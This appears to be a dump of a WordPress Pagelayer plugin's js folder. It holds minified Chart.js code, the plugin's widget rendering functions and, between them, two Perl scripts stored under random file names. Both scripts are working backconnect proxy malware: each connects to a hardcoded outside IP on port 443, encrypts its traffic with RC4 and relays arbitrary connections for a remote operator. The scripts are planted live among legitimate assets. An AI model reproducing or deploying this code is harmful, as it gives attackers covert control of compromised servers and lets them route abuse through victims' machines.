a=(n=n||{}).data=n.data||{},o=n.garbageCollect=n.garbageCollect||[];n.font!==e&&(a=n.data={},o=n.garbageCollect=[],n.font=e),t.font=e;var r=0;ut.each(i,function(e){null!=e&&!0!==ut.isArray(e)?r=ut.measureText(t,a,o,r,e):ut.isArray(e)&&ut.each(e,function(e){null==e||ut.isArray(e)||(r=ut.measureText(t,a,o,r,e))})});var s=o.length/2;if(s>i.length){for(var l=0;ln&&(n=o),n},ut.numberOfLabelLines=function(t){var e=1;return ut.each(t,function(t){ut.isArray(t)&&t.length>e&&(e=t.length)}),e},ut.color=X?function(t){return t instanceof CanvasGradient&&(t=st.global.defaultColor),X(t)}:function(t){return console.error("Color.js not found!"),t},ut.getHoverColor=function(t){return t instanceof CanvasPattern||t instanceof CanvasGradient?t:ut.color(t).saturate(.5).darken(.1).rgbString()}}(),ai._adapters=si,ai.Animation=vt,ai.animationService=bt,ai.controllers=ue,ai.DatasetController=Mt,ai.defaults=st,ai.Element=pt,ai.elements=Wt,ai.Interaction=ve,ai.layouts=ke,ai.platform=Ve,ai.plugins=Ee,ai.Scale=fi,ai.scaleService=He,ai.Ticks=li,ai.Tooltip=Je,ai.helpers.each(tn,function(t,e){ai.scaleService.registerScaleType(e,t,t._defaults)}),yn)yn.hasOwnProperty(_n)&&ai.plugins.register(yn[_n]);ai.platform.initialize();var Cn=ai;return"undefined"!=typeof window&&(window.Chart=ai),ai.Chart=ai,ai.Legend=yn.legend._element,ai.Title=yn.title._element,ai.pluginService=ai.plugins,ai.PluginBase=ai.Element.extend({}),ai.canvasHelpers=ai.helpers.canvas,ai.layoutService=ai.layouts,ai.LinearScaleBase=bi,ai.helpers.each(["Bar","Bubble","Doughnut","Line","PolarArea","Radar","Scatter"],function(t){ai[t]=function(e,i){return new ai(e,ai.helpers.merge(i||{},{type:t.charAt(0).toLowerCase()+t.slice(1)}))}}),Cn}); PK,Y\ꨯ$$ js/r3wdikswnu[#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '185.93.89.144'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); PK,Y\P66$$ js/dr260j0unu[#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.204'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); PK-Y\3ؿ js/premium.jsnu[ // Render for audio function pagelayer_render_pl_audio(el){ el.tmp['src-url'] = el.tmp['src-url'] || el.atts['src']; return; /*// Do we have a URL ? if(!pagelayer_empty(el.atts['a_url'])){ //Get the file extension var extension = el.atts['a_url'].substr(el.atts['a_url'].lastIndexOf('.') + 1); //Create source tag according to audio file switch(extension){ default: case 'mp3': el.atts['a_type'] = 'audio/mpeg'; break; case 'ogg': el.atts['a_type']= 'audio/ogg'; break; case 'wav': el.atts['a_type'] = 'audio/wav'; break; } } // Add the attr if(!pagelayer_empty(el.atts['a_url']) && !pagelayer_empty(el.atts['a_type'])){ el.CSS.attr.push({'sel': '{{element}} source', 'val': 'src="{{a_url}}"'}); el.CSS.attr.push({'sel': '{{element}} source', 'val': 'type="{{a_type}}"'}); } */ }; function pagelayer_render_end_pl_audio(el){ var jEle = el.$; pagelayer_audio(jEle); } // render the video slider function pagelayer_render_end_pl_video_slider(el){ pagelayer_owl_destroy(el.$, '.pagelayer-video-slider-holder'); pagelayer_pl_video_slider(el.$); }; // End Render for splash function pagelayer_render_end_pl_splash(el){ var jEle = el.$; var container = jEle.find('.pagelayer-splash-container'); container.fadeIn(); el.$.find('.pagelayer-splash-close, .pagelayer-splash-bg-close').on('click', function(e){ container.fadeOut(); }); if(el.atts['style'] == 'custom'){ container.css({'background': el.atts['shadow_color'], 'color': el.atts['content_color']}); }else{ container.css({'background': '', 'color': ''}); } container.removeClass().addClass('pagelayer-splash-container pagelayer-splash-'+el.atts['style']); } // Render the Posts function pagelayer_render_end_pl_posts(el){ var post = {}; post['pagelayer_nonce'] = pagelayer_ajax_nonce; // Page count if(el.atts['count']) post['posts_per_page'] = el.atts['count']; if(el.atts['show_thumb']) post['show_thumb'] = el.atts['show_thumb']; if(el.atts['thumb_size']) post['thumb_size'] = el.atts['thumb_size']; if(el.atts['show_content']) post['show_content'] = el.atts['show_content']; if(el.atts['show_title']) post['show_title'] = el.atts['show_title']; if(el.atts['more']) post['more'] = el.atts['more']; if(el.atts['btn_type']) post['btn_type'] = el.atts['btn_type']; if(el.atts['size']) post['size'] = el.atts['size']; if(el.atts['icon_position']) post['icon_position'] = el.atts['icon_position']; if(el.atts['icon']) post['icon'] = el.atts['icon']; if(el.atts['show_more']) post['show_more'] = el.atts['show_more']; if(el.atts['meta_sep']) post['meta_sep'] = el.atts['meta_sep']; if(el.atts['exc_length']) post['exc_length'] = el.atts['exc_length']; if(el.atts['post_type']) post['post_type'] = el.atts['post_type']; if(el.atts['posts_order']) post['order'] = el.atts['posts_order']; if(el.atts['inc_term']) post['term'] = el.atts['inc_term']; if(el.atts['inc_author']) post['author_name'] = el.atts['inc_author']; if(el.atts['exc_term']) post['exc_term'] = el.atts['exc_term']; if(el.atts['exc_author']) post['exc_author'] = el.atts['exc_author']; if(el.atts['offset']) post['offset'] = el.atts['offset']; if(el.atts['ignore_sticky']) post['ignore_sticky'] = el.atts['ignore_sticky']; if(el.atts['orderby']) post['orderby'] = el.atts['orderby']; if(el.atts['by_period']) post['by_period'] = el.atts['by_period']; if(el.atts['before_date']) post['before_date'] = el.atts['before_date']; if(el.atts['after_date']) post['after_date'] = el.atts['after_date']; if(el.atts['thumb_img_type']) post['thumb_img_type'] = el.atts['thumb_img_type']; var img_size = el.tmp['def_thumb_img-'+el.atts['thumb_size']+'-url']; if(el.atts['def_thumb_img']) post['def_thumb_img'] = pagelayer_empty(img_size) ? el.tmp['def_thumb_img-url'] : img_size; if(el.atts['meta']){ var meta_arr = el.atts['meta'].split(','); jQuery.each(meta_arr, function(index, value){ post[value] = value; }); } if(pagelayer_empty(pagelayer_posts_data) || !pagelayer_compare_object(pagelayer_posts_data, post) || pagelayer_empty(pagelayer_ajax_data[el['id']])){ pagelayer_posts_data = post; jQuery.ajax({ url: pagelayer_ajax_url+'action=pagelayer_posts_data', type: 'post', data: post, success: function(data){ //console.log(data); el.$.find('.pagelayer-posts-container').html(data); pagelayer_ajax_data[el['id']] = data; if(el.atts['enable_slider']){ pagelayer_pl_posts(el.$); } } }); }else{ el.$.find('.pagelayer-posts-container').html(pagelayer_ajax_data[el['id']]); if(el.atts['enable_slider']){ pagelayer_pl_posts(el.$); } } } var pagelayer_folio_data = {}; // Render the Post portfolio function pagelayer_render_html_pl_post_folio(el){ var post = {}; post['pagelayer_nonce'] = pagelayer_ajax_nonce; if(el.atts['type']) post['post_type'] = el.atts['type']; if(el.atts['filter_by']) post['filter_by'] = el.atts['filter_by']; if(el.atts['count']) post['posts_per_page'] = el.atts['count'];// Page count if(pagelayer_empty(pagelayer_folio_data) || !pagelayer_compare_object(pagelayer_folio_data, post) || pagelayer_empty(pagelayer_ajax_data[el['id']])){ pagelayer_folio_data = post; jQuery.ajax({ url: pagelayer_ajax_url+'action=pagelayer_fetch_posts', type: 'post', data: post, success: function(data){ //console.log(data); el.$.find('.pagelayer-postfolio-section').html(data); pagelayer_ajax_data[el['id']] = data; pagelayer_post_folio(el.$); } }); }else{ el.$.find('.pagelayer-postfolio-section').html(pagelayer_ajax_data[el['id']]); } } // Render the chart function pagelayer_render_pl_chart(el){ el['atts']['xcolor'] = pagelayer_empty(el['atts']['xcolor']) ? '' : pagelayer_parse_color(el['atts']['xcolor'], false); el['atts']['ycolor'] = pagelayer_empty(el['atts']['ycolor']) ? '' : pagelayer_parse_color(el['atts']['ycolor'], false); } // Render the chart function pagelayer_render_end_pl_chart(el){ var jEle = el.$; pagelayer_chart(jEle); } // Render the chart Dataset function pagelayer_render_pl_chart_datasets(el){ el['atts']['chart_border_color'] = pagelayer_empty(el['atts']['chart_border_color']) ? '' : pagelayer_parse_color(el['atts']['chart_border_color'], false); el['atts']['bg_color'] = pagelayer_empty(el['atts']['bg_color']) ? '' : pagelayer_parse_color(el['atts']['bg_color'], false); } // Render the search form function pagelayer_render_pl_search(el){ if('placeholder' in el.atts){ el.tmp['placeholder'] = pagelayer_htmlEntities(el.atts['placeholder']); } } // Render the search form function pagelayer_render_end_pl_search(el){ pagelayer_search_form(el.$); } //var shuffleInstance1 = {}; // Render the img portfolio function pagelayer_render_end_pl_img_portfolio(el){ pagelayer_pl_img_portfolio(el.$); } // Render the img portfolio function pagelayer_render_pl_single_img(el){ jQuery(el.$).parent().attr('data-groups','["'+el.atts['cat_name']+'"]'); el.atts['func_img'] = el.tmp['img-'+el.atts['img-size']+'-url'] || el.tmp['img-url']; el.atts['func_img'] = el.atts['func_img'] || el.atts['img']; // What is the link ? if('link_type' in el.atts){ // Custom url if(el.atts['link_type'] == 'custom_url'){ el.atts['func_link'] = pagelayer_empty(el.tmp['link']) ? '' : el.tmp['link']; } // Link to the media file itself if(el.atts['link_type'] == 'media_file'){ el.atts['func_link'] = el.tmp['img-url'] || el.atts['img']; } // Lightbox if(el.atts['link_type'] == 'lightbox'){ el.atts['func_link'] = el.tmp['img-url'] || el.atts['img']; } } } // Incase if there is a lightbox function pagelayer_render_end_pl_single_img(el){ pagelayer_pl_image(el.$); } // Render the wp custom menus function pagelayer_sc_render_pl_wp_custom_menu(el){ var jEle = el.$; var params = { title: pagelayer_get_att(jEle, 'title'), nav_menu: pagelayer_get_att(jEle, 'nav_menu') }; var wp_custom_menu = jQuery.ajax({ url: pagelayer_ajax_url+'&action=pagelayer_fetch_wp_custom_menu', type: 'POST', data: params, async: false }).responseText; jEle.find('.pagelayer-wp-custom-menu-container').html(wp_custom_menu); } // Render the pages function pagelayer_sc_render_pl_wp_pages(el){ var jEle = el.$; var params = { sortby: pagelayer_get_att(jEle, 'sortby'), exclude: pagelayer_get_att(jEle, 'exclude') } var wp_pages = jQuery.ajax({ url: pagelayer_ajax_url+'&action=pagelayer_fetch_wp_pages', type: 'POST', data: params, async: false }).responseText; jEle.find('.pagelayer-wp-pages-title').html(pagelayer_get_att(jEle, 'title')); jEle.find('.pagelayer-wp-pages').html(wp_pages); } // Render tags function pagelayer_sc_render_pl_wp_search(el){ var jEle = el.$; var title = pagelayer_get_att(jEle, 'title'); //show title for recent comments jEle.find('.pagelayer-wp-search-title').empty().text(title); //Ajax call for fetching recent comments jQuery.ajax({ type: "POST", url: pagelayer_ajax_url+'&action=pagelayer_wp_search', success: function(response){ if(!pagelayer_empty(response)){ jEle.find('.pagelayer-wp-search-option').empty().html(response); } } }); } //render tags function pagelayer_sc_render_pl_wp_rss(el){ var jEle = el.$; var title = ''; var items = pagelayer_get_att(jEle, 'items'); var url = pagelayer_get_att(jEle, 'url'); var summary, author, date = 0; if(pagelayer_get_att(jEle, 'show_summary') == 'checked'){ summary = 1; } if(pagelayer_get_att(jEle, 'show_author') == 'checked'){ author = 1; } if(pagelayer_get_att(jEle, 'show_date') == 'checked'){ date = 1; } var t = pagelayer_get_att(jEle, 'title'); if(!pagelayer_empty(t)){ title = t; } //Ajax call for fetching recent comments jQuery.ajax({ type: "POST", url: pagelayer_ajax_url+'&action=pagelayer_wp_rss', data: {"num_items": items, "URL" : url, "summary" : summary, "author" : author, "date" : date, "title": title }, success: function(response){ if(!pagelayer_empty(response)){ jEle.find('.pagelayer-wp-rss-option').empty().html(response); } } }); } //render tags function pagelayer_sc_render_pl_wp_meta(el){ var jEle = el.$; var title = ''; var t = pagelayer_get_att(jEle, 'title'); if(!pagelayer_empty(t)){ title = t; } //Ajax call for fetching recent comments jQuery.ajax({ type: "POST", url: pagelayer_ajax_url+'&action=pagelayer_wp_meta', data: { "title": title }, success: function(response){ if(!pagelayer_empty(response)){ jEle.find('.pagelayer-wp-meta-option').empty().html(response); } } }); }; // Render the image hotspot function pagelayer_render_pl_image_hotspot(el){ // Remove animation classes el.$.find('.pagelayer-hotspots-icon-holder').removeClass (function (index, className) { return (className.match (/(^|\s)pagelayer-animation-\S+/g) || []).join(' '); }); // Decide the image URL el.tmp['img-url'] = el.tmp['img-url'] || el.atts['img']; } // Setup of image hotspot function pagelayer_render_end_pl_image_hotspot(el){ pagelayer_image_hotspot(el.$); }; // Render the table function pagelayer_render_end_pl_table(el){ pagelayer_table(el.$); }; // Render the Author Block function pagelayer_render_pl_author_box(el){ var jEle = el.$; if(el.atts['box_source'] == 'current'){ el.tmp['avatar-url'] = pagelayer_author['avatar']; el.atts['display_name'] = pagelayer_author['display_name']; el.atts['description'] = pagelayer_author['description']; el.atts['user_url'] = pagelayer_author['user_url']; }else{ el.tmp['avatar-url'] = el.tmp['avatar-url'] || el.atts['avatar']; } el.atts['display_html'] = '<'+el.atts['name_style']+'>'+el.atts['display_name']+''; }; // Render the Sitemap function pagelayer_render_pl_sitemap_item(el){ var jEle = el.$; var html_element = ''; var data_type = '', post_order = '', order = '', hier = '', depth = ''; if(el.atts['sitemap_type'] == 'post_type'){ if(pagelayer_empty(el.atts['title'])){ el.atts['title'] = 'Pages'; } data_type = el.atts['source_post']; post_order = el.atts['order_post']; order = el.atts['order']; hier = el.atts['hierarchical']; depth = el.atts['depth']; jQuery.ajax({ type: "POST", url: pagelayer_ajax_url+'&action=pagelayer_get_pages_list', data: { "type": data_type , "post_order": post_order, "order": order, "hier": hier, "depth": depth, pagelayer_nonce: pagelayer_ajax_nonce }, async:false, success: 